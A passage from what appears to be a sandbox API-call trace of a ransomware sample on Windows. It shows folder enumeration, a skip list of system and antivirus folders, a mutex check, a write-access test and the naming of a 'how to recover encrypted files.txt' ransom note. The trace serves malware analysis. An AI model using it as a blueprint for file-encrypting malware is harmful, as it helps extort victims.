ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@ꜤR企@\x18?T\x18D")) returned 0xffffffff [0055.439] GetLastError () returned 0x2 [0055.439] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\", cchLength=0x42 | out: lpsz="c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\") returned 0x42 [0055.439] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7d0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0055.439] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0055.439] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@帜R企@\x18Q\x18j")) returned 0xffffffff [0055.441] GetLastError () returned 0x2 [0055.441] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\", cchLength=0x42 | out: lpsz="c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\") returned 0x42 [0055.441] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0055.441] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0055.441] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@夬U企@\x18?T\x18q")) returned 0xffffffff [0055.443] GetLastError () returned 0x2 [0055.443] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\", cchLength=0x42 | out: lpsz="c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\") returned 0x42 [0055.443] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7d0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\QP") returned 6 [0055.443] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0055.443] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@ꜤR企@\x18?T\x18y")) returned 0xffffffff [0055.444] GetLastError () returned 0x2 [0055.445] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\", cchLength=0x42 | out: lpsz="c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\") returned 0x42 [0055.445] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7d0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0055.445] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0055.445] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@夬U企@\x18?T\x18\x81")) returned 0xffffffff [0055.446] GetLastError () returned 0x2 [0055.446] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\", cchLength=0x42 | out: lpsz="c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\") returned 0x42 [0055.446] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7d0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0055.446] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0055.447] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@ꜤR企@\x18?T\x18\x88")) returned 0xffffffff [0055.448] GetLastError () returned 0x2 [0055.448] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\", cchLength=0x42 | out: lpsz="c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\") returned 0x42 [0055.448] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7d0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0055.448] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0055.448] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@夬U企@\x18?T\x18\x8f")) returned 0xffffffff [0055.450] GetLastError () returned 0x2 [0055.450] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\", cchLength=0x42 | out: lpsz="c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\") returned 0x42 [0055.450] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7d0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0055.450] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@ꜤR企@\x18?T\x18\x97")) returned 0xffffffff [0055.451] GetLastError () returned 0x2 [0055.451] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\", cchLength=0x42 | out: lpsz="c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\") returned 0x42 [0055.451] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7d0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0055.451] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.451] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.451] GlobalUnlock (hMem=0x44000c) returned 0 [0055.452] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.452] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.452] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.452] GlobalUnlock (hMem=0x44000c) returned 0 [0055.452] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.452] GlobalUnlock (hMem=0x440004) returned 0 [0055.452] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\", cchLength=0x42 | out: lpsz="c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\") returned 0x42 [0055.452] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0055.452] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0055.452] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\", cchLength=0x42 | out: lpsz="c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\") returned 0x42 [0055.452] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0055.452] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0055.452] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\", cchLength=0x42 | out: lpsz="c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\") returned 0x42 [0055.452] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0055.452] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0055.452] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\", cchLength=0x42 | out: lpsz="c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\") returned 0x42 [0055.452] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0055.452] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7e8, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0055.452] GlobalLock (hMem=0x440004) returned 0x550170 [0055.452] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.452] GlobalUnlock (hMem=0x440004) returned 0 [0055.452] GlobalLock (hMem=0x440004) returned 0x550170 [0055.452] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.452] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.452] GlobalUnlock (hMem=0x440004) returned 0 [0055.452] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.452] GlobalUnlock (hMem=0x44000c) returned 0 [0055.452] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\", cchLength=0x42 | out: lpsz="c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\") returned 0x42 [0055.452] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0055.452] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\", cchLength=0x42 | out: lpsz="c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\") returned 0x42 [0055.453] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7d0, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0055.453] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\", cchLength=0x42 | out: lpsz="c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\") returned 0x42 [0055.453] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7d0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0055.453] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\", cchLength=0x42 | out: lpsz="c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\") returned 0x42 [0055.453] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0055.453] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\", cchLength=0x42 | out: lpsz="c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\") returned 0x42 [0055.453] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0055.453] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\", cchLength=0x42 | out: lpsz="c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\") returned 0x42 [0055.453] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7d0, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0055.453] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\", cchLength=0x42 | out: lpsz="c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\") returned 0x42 [0055.453] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7d0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0055.453] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\", cchLength=0x42 | out: lpsz="c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\") returned 0x42 [0055.453] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7d0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0055.453] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\", cchLength=0x42 | out: lpsz="c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\") returned 0x42 [0055.453] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 13 [0055.453] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.453] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.453] GlobalUnlock (hMem=0x44000c) returned 0 [0055.453] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.453] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.453] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.453] GlobalUnlock (hMem=0x44000c) returned 0 [0055.453] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.453] GlobalUnlock (hMem=0x440004) returned 0 [0055.453] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0055.454] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.454] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x4f2ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIGFONT.SHX", cAlternateFileName="")) returned 1 [0055.454] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0055.454] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0055.454] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.454] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.454] GlobalUnlock (hMem=0x440004) returned 0 [0055.454] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.454] GlobalLock (hMem=0x44000c) returned 0x557b88 [0055.454] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.455] GlobalUnlock (hMem=0x440004) returned 0 [0055.455] GlobalHandle (pMem=0x557b88) returned 0x44000c [0055.455] GlobalUnlock (hMem=0x44000c) returned 0 [0055.455] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.455] CharLowerBuffW (in: lpsz="BIGFONT.SHX", cchLength=0xb | out: lpsz="bigfont.shx") returned 0xb [0055.455] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.455] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.455] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.455] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.455] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.455] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.455] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.455] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.455] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.455] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.455] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.455] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0055.455] CharLowerBuffW (in: lpsz=".SHX", cchLength=0x4 | out: lpsz=".shx") returned 0x4 [0055.455] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".shx", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".shxShared\\Visio Shared\\Fonts\\BIGFONT.SHX", lpUsedDefaultChar=0x0) returned 4 [0055.455] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0055.459] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d88*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d88*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0055.460] CloseHandle (hObject=0x18c) returned 1 [0055.460] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\я")) returned 1 [0055.461] FindFirstFileW (in: 